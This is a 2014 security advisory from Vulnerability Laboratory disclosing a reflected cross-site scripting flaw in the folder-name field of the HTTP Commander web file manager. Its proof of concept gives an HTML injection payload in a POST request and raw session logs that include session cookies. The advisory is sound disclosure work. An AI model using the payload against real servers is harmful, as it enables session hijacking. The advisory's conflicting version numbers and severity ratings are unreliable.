Document Title:
===============
HTTP Commander AJS v3.1.9 - Client Side Exception Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1329


Release Date:
=============
2014-10-02


Vulnerability Laboratory ID (VL-ID):
====================================
1329


Common Vulnerability Scoring System:
====================================
2.5


Product & Service Introduction:
===============================
The web file explorer HTTP Commander is designed for giving remote access to 
the Web server’s files. Using only the browser end-users 
can manage files and folders that are shared to them. There are some rich 
opportunities for online file editing, cloud services integration 
and storages. HTTP Commander is being installed on the Windows Server platform. 
The end-user can use Desktop PC, smartphone, pad with any 
OS and web browser. The application is the best alternative to FTP, WebDav, 
Sharepoint because it combines all their pluses and adds a lot 
of new opportunities. Every day more than 100 000 users from different 
companies and learning institutions use HTTP Commander.

( Copy of the Vendor Homepage: http://www.element-it.com/products.aspx )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side 
vulnerability in the official HTTP Commander AJS v3.1.9 web-application.


Vulnerability Disclosure Timeline:
==================================
2014-10-02: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Element-IT Software
Product: HTTP Commander - Web Application 3.1.8


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A non-persistent input validation web vulnerability has been discovered in the 
official HTTP Commander 3.1.9 web-application.
The vulnerability allows remote attackers to inject own script codes to a 
client-side request to compromise application sessions.

The client-side vulnerability is located in the `new folder add` input values 
and the connected exception-handling (The file/folder 
name isn`t set or contains incorrect characters).The application parses for 
example tags like <script>, <img src>. During the 
tests we discovered that the new folder add module with the name value input 
allows to bypass the regular application validation 
to execute non-persistent script codes in the invalid/incorrect 
exception-handling context. The issue can be exploited by remote 
attackers in connection with the guest or moderator accounts to gain higher 
application privileges. Remote attackers are able to 
prepare malicious client-side request to force the execution on interaction 
with higher privileged user accounts. The request 
method to inject is POST and the attack vector is located on the client-side.

The security risk of the non-persistent vulnerability is estimated as high with 
a cvss (common vulnerability scoring system) count of 2.5. 
Exploitation of the client-side input validation web vulnerability requires 
medium user interaction and no privileged web-application user account. 
Successful exploitation of the non-persistent web vulnerability results in 
session hijacking, client-side phishing, client-side external redirects 
to malicious sources and client-side manipulation of affected or connected 
module context.


Request Method(s):
                                [+] [POST]

Vulnerable Module(s):
                                [+] Add Folder

Vulnerable File(s):
                                [+] CommonHandler.ashx

Vulnerable Parameter(s):
                                [+] name

Affected Module(s):
                                [+] Error Exception (Invalid/Incorrect Input)


Proof of Concept (PoC):
=======================
The client side exploitation handling vulnerability can be exploited by remote 
attacker or low privileged application user accounts. 
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

PoC:
--- Error Exception on Input Name
The file/folder name isn't set or contains incorrect characters: 
""><"%20%20>"[CLIENT-SIDE INJECTED SCRIPT CODE VIA POST METHOD!]


--- Poc Session Logs [POST] (Inject) ---
Status: 200[OK]
POST 
https://httpcommander.localhost:8080/examples/demoforms/Handlers/CommonHandler.ashx
 Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] 
Größe des Inhalts[188] Mime Type[text/javascript]
   Request Header:
      Host[httpcommander.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 
Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/json; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      
Referer[https://httpcommander.localhost:8080/examples/demoforms/Default.aspx]
      Content-Length[176]
      Cookie[_ga=GA1.2.1698736973.1412252186; 
ASP.NET_SessionId=s5bbf0c120hpbwhue3rrcttn; htclang=RW5nbGlzaA==; 
.ASPXAUTH=38378247C3D8EE257AF69A076B3E0662E0E211E484C73750C3F9787BCE009D4D830599ECE85CCF08BD7662AF328779AD9DC10270B3F053DCE8DBFDA1A72BA4A
FBE9EF8E90D15AE2E850F8978C06B1DA5215CC33843086D937B3ACBB2FBFD072BBA6B469D27EE20DFDEA6F74CFB53B0ACF7F769BC9922F15B0AA361481E0CD78A]
      Connection[keep-alive]
      Pragma[no-cache]
      Cache-Control[no-cache]
   POST-Daten:
      {"action":"Common","method":"Create","data":[{"path":"Demo folder 
1","type":"folder","newName":"\"><\"<img src[\"x\">%20%20>\"<iframe 
src=a>%20<iframe>"}],"type":"rpc","tid":4}]
   Response Header:
      Cache-Control[private]
      Content-Type[text/javascript; charset=utf-8]
      Content-Encoding[gzip]
      Vary[Accept-Encoding]
      Server[Microsoft-IIS/8.0]
      X-AspNet-Version[4.0.30319]
      X-Powered-By[ASP.NET]
      Date[Thu, 02 Oct 2014 12:36:18 GMT]
      Content-Length[188]


14:36:14.628[178ms][total 178ms] Status: 404[Not Found]
GET https://httpcommander.localhost:8080/examples/demoforms/x Load 
Flags[VALIDATE_ALWAYS ] Größe des Inhalts[1245] Mime Type[text/html]
   Request Header:
      Host[httpcommander.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 
Firefox/32.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[https://httpcommander.localhost:8080/examples/demoforms/Default.aspx]
      Cookie[_ga=GA1.2.1698736973.1412252186; 
ASP.NET_SessionId=s5bbf0c120hpbwhue3rrcttn; htclang=RW5nbGlzaA==; 
.ASPXAUTH=38378247C3D8EE257AF69A076B3E0662E0E211E484C73750C3F9787BCE009D4D830599ECE85CCF08BD7662AF328779AD9DC10270B3F053DCE8DB
FDA1A72BA4AFBE9EF8E90D15AE2E850F8978C06B1DA5215CC33843086D937B3ACBB2FBFD072BBA6B469D27EE20DFDEA6F74CFB53B0ACF7F769BC9922F15B0AA361481E0CD78A]
      Connection[keep-alive]
   Response Header:
      Content-Type[text/html]
      Server[Microsoft-IIS/8.0]
      X-Powered-By[ASP.NET]
      Date[Thu, 02 Oct 2014 12:36:18 GMT]
      Content-Length[1245]


-Response
Status: 200[OK]
 GET 
https://httpcommander.localhost:8080/examples/demoforms/";><"%20%20>"[CLIENT-SIDE
 INJECTED SCRIPT CODE VIA POST METHOD!] Load Flags[VALIDATE_ALWAYS ] 
Größe des Inhalts[1245] Mime Type[text/html]
   Request Header:
      Host[demo.element-it.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 
Firefox/32.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[https://httpcommander.localhost:8080/examples/demoforms/Default.aspx]
      Cookie[_ga=GA1.2.1698736973.1412252186; 
ASP.NET_SessionId=s5bbf0c120hpbwhue3rrcttn; htclang=RW5nbGlzaA==; 
.ASPXAUTH=38378247C3D8EE257AF
69A076B3E0662E0E211E484C73750C3F9787BCE009D4D830599ECE85CCF08BD7662AF328779AD9DC10270B3F053DC
E8DBFDA1A72BA4AFBE9EF8E90D15AE2E850F8978C06B1DA5215CC33843086D937B3ACBB2FBFD072BBA6B469D27EE20DFDEA6F74CFB53B0ACF7F769BC9922F15B0AA361481E0CD78A]
      Connection[keep-alive]
   Response Header:
      Content-Type[text/html]
      Server[Microsoft-IIS/8.0]
      X-Powered-By[ASP.NET]
      Date[Thu, 02 Oct 2014 12:36:18 GMT]
      Content-Length[1245]


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the 
invalid/incorrect input exception-handling.
Restrict the input fields and disallow special chars to prevent further 
client-side script code attacks.


Security Risk:
==============
The security risk of the client-side input validation web vulnerability in the 
exception-handling is estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(b...@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either 
expressed or implied, including the warranties of merchantability and 
capability for a particular purpose. Vulnerability-Lab or its suppliers 
are not liable in any case of damage, including direct, indirect, incidental, 
consequential loss of business profits or special damages, even 
if Vulnerability-Lab or its suppliers have been advised of the possibility of 
such damages. Some states do not allow the exclusion or limitation 
of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break 
any vendor licenses, policies, deface websites, hack into databases or trade 
with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com              
                        - www.evolution-sec.com
Contact:    ad...@vulnerability-lab.com         - 
resea...@vulnerability-lab.com                        - ad...@evolution-sec.com
Section:    dev.vulnerability-db.com            - forum.vulnerability-db.com    
                        - magazine.vulnerability-db.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab 
                        - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php            - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php - 
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All 
other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, 
advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To 
record, list (feed), modify, use or edit our material contact 
(ad...@vulnerability-lab.com or resea...@vulnerability-lab.com) to get a 
permission.

                                Copyright © 2014 | Vulnerability Laboratory 
[Evolution Security]



-- 
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: resea...@vulnerability-lab.com



_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Reply via email to